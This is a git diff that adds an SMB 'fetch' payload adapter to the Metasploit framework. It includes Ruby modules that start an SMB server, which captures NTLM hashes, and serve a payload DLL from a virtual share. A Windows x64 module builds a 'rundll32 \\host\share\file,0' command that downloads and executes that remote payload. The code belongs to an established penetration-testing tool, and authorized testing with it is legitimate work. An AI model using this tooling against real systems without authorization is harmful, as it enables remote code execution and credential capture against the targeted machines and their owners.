diff --git a/lib/msf/core/payload/adapter/fetch/server/smb.rb b/lib/msf/core/payload/adapter/fetch/server/smb.rb new file mode 100644 index 0000000000..165b532df7 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/smb.rb @@ -0,0 +1,68 @@ +module Msf::Payload::Adapter::Fetch::Server::SMB + + include ::Msf::Exploit::Remote::SMB::LogAdapter + include ::Msf::Exploit::Remote::SMB::Server::HashCapture + + def start_smb_server(srvport, srvhost) + vprint_status("Starting SMB server on #{Rex::Socket.to_authority(srvhost, srvport)}") + + log_device = LogDevice::Framework.new(framework) + logger = Logger.new(self, log_device) + + ntlm_provider = Msf::Exploit::Remote::SMB::Server::HashCapture::HashCaptureNTLMProvider.new( + allow_anonymous: true, + allow_guests: true, + listener: self, + ntlm_type3_status: nil + ) + + fetch_service = Rex::ServiceManager.start( + Rex::Proto::SMB::Server, + srvport, + srvhost, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + _determine_server_comm(srvhost), + gss_provider: ntlm_provider, + logger: logger + ) + + fetch_service.on_client_connect_proc = Proc.new { |client| + on_client_connect(client) + } + fetch_service + end + + def cleanup_smb_fetch_service(fetch_service) + fetch_service.remove_share(@fetch_virtual_disk) + fetch_service.deref + end + + def fetch_protocol + 'SMB' + end + + def start_smb_fetch_handler(srvport, srvhost, srvuri, srvexe) + unless srvuri.include?('\\') + raise RuntimeError, 'The srvuri argument must include a share name' + end + + share_name, _, share_path = srvuri.partition('\\') + + fetch_service = start_smb_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{Rex::Socket.to_authority(srvhost, srvport)}\n#{e}") + end + + @fetch_virtual_disk = RubySMB::Server::Share::Provider::VirtualDisk.new(share_name) + # the virtual disk expects the path to use the native File::SEPARATOR so normalize on that here + @fetch_virtual_disk.add_static_file(share_path, srvexe) + fetch_service.add_share(@fetch_virtual_disk) + fetch_service + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/smb.rb b/lib/msf/core/payload/adapter/fetch/smb.rb new file mode 100644 index 0000000000..affba6addd --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/smb.rb @@ -0,0 +1,42 @@ +module Msf::Payload::Adapter::Fetch::SMB + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::SMB + + + def initialize(*args) + super + register_options( + [ + Msf::OptString.new('FETCH_FILENAME', [ true, 'Payload file name to fetch; cannot contain spaces or slashes.', 'test.dll'], regex: /^[^\s\/\\]*$/), + ] + ) + end + + def fetch_protocol + 'SMB' + end + + def cleanup_handler + if @fetch_service + cleanup_smb_fetch_service(@fetch_service) + @fetch_service = nil + end + + super + end + + def setup_handler + @fetch_service = start_smb_fetch_handler(fetch_bindport, fetch_bindhost, srvuri + "\\#{datastore['FETCH_FILENAME']}", @srvexe) + super + end + + def unc + path = "\\\\#{srvhost}" + path << "\\#{srvuri.gsub('/', "\\").chomp("\\")}" + path << "\\#{datastore['FETCH_FILENAME']}" if datastore['FETCH_FILENAME'].present? + path + end +end diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb new file mode 100644 index 0000000000..78254ec8b2 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::SMB + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SMB Fetch', + 'Description' => 'Fetch and execute an x64 payload from an SMB server.', + 'Author' => 'Spencer McIntyre', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR') + end + + def srvport + 445 # UNC paths for SMB services *must* be 445 + end + + def generate_fetch_commands + "rundll32 #{unc},0" + end + + # generate a DLL instead of an EXE + alias generate_payload_exe generate_payload_dll +end